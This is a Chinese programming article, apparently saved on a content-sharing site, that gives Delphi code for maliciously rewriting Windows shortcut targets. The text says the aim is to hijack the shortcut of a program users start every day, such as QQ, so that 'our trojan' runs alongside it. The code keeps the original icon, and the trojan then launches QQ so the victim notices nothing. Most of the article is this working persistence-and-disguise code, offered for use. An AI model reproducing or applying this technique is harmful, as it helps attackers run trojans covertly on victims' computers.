打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
delphi 恶意修改快捷方式
作者:admin 来源: 日期:2011/8/16 9:41:19 人气:195 标签:
更多
0
单元 ShlObj,   ComObj,   ActiveX;
修改快捷方式的启动目标,不改变原图标样子,反正QQ这种是用户每次开机就运行的,就连同我们的马一起运行了呗.
马在运行时会自动开启QQ,这样用户就发现不到了.
function LinkFileInfo(const lnkFileName:string;var info:LINK_FILE_INFO;const bSet:boolean):boolean;
var
hr:hresult;
psl:IShelllink;
wfd:win32_find_data;
ppf:IPersistFile;
lpw:pwidechar;
buf:pwidechar;
begin
result:=false;
getmem(buf,MAX_PATH);
try
if SUCCEEDED(CoInitialize(nil)) then
if (succeeded(cocreateinstance(clsid_shelllink,nil,clsctx_inproc_server,IID_IShellLinkA,psl))) then
begin
hr:=psl.QueryInterface(iPersistFile,ppf);
if succeeded(hr) then
begin
lpw:=stringtowidechar(lnkfilename,buf,MAX_PATH);
hr := ppf.Load(lpw, STGM_READ);
if succeeded(hr) then
begin
hr := psl.Resolve(0, SLR_NO_UI);
if succeeded(hr) then
begin
if bSet then
begin
psl.SetArguments(info.Arguments);
psl.SetDescription(info.Description);
psl.SetHotkey(info.HotKey);
psl.SetIconLocation(info.IconLocation,info.IconIndex);
//psl.SetIDList(info.ItemIDList);      注意这个别修改,不然图标就不好更换了,嘿嘿
psl.SetPath(info.FileName);
psl.SetShowCmd(info.ShowState);
psl.SetRelativePath(info.RelativePath,0);
psl.SetWorkingDirectory(info.WorkDirectory);
result:=succeeded(psl.Resolve(0,SLR_UPDATE));
end
else
begin
psl.GetPath(info.FileName,MAX_PATH, wfd,SLGP_SHORTPATH );
psl.GetIconLocation(info.IconLocation,MAX_PATH,info.IconIndex);
psl.GetWorkingDirectory(info.WorkDirectory,MAX_PATH);
psl.GetDescription(info.Description,CCH_MAXNAME);
psl.GetArguments(info.Arguments,MAX_PATH);
psl.GetHotkey(info.HotKey);
psl.GetIDList(info.ItemIDList);
psl.GetShowCmd(info.ShowState);
result:=true;
end;
end;
end;
end;
end;
finally
freemem(buf);
end;
end;
procedure  SetLinkFileRun(LinkFilePath:string;NewRunPath:string);
var
info2,info3:LINK_FILE_INFO;
begin
LinkFileInfo(LinkFilePath,info2,False);
strpcopy(info3.FileName,NewRunPath);
strpcopy(info3.WorkDirectory,ExtractfilePath(NewRunPath));
info3.Description:=info2.Description;
strpcopy(info3.IconLocation,info2.FileName);    //这里用快捷方式原目标文件地址,不然修改后 原图标样式会被替换成   D:\a.exe 的图标
info3.IconIndex:=0;   //这里填0,不然修改完后原图标样式会被替换成   D:\a.exe 的图标
info3.HotKey:=0;
LinkFileInfo(LinkFilePath,info3,True);
end;
修改不当的快捷方式:
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
c++ 创建桌面快捷方式
VC知识库文章 - COM 组件设计与应用(四)——简单调用组件
VC++2003/2005/2008 调用Mediaplayer的指南,
QT 获取文件信息
thinkphp 上传文件生成缩略图
delphi 创建快捷方式 启动
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服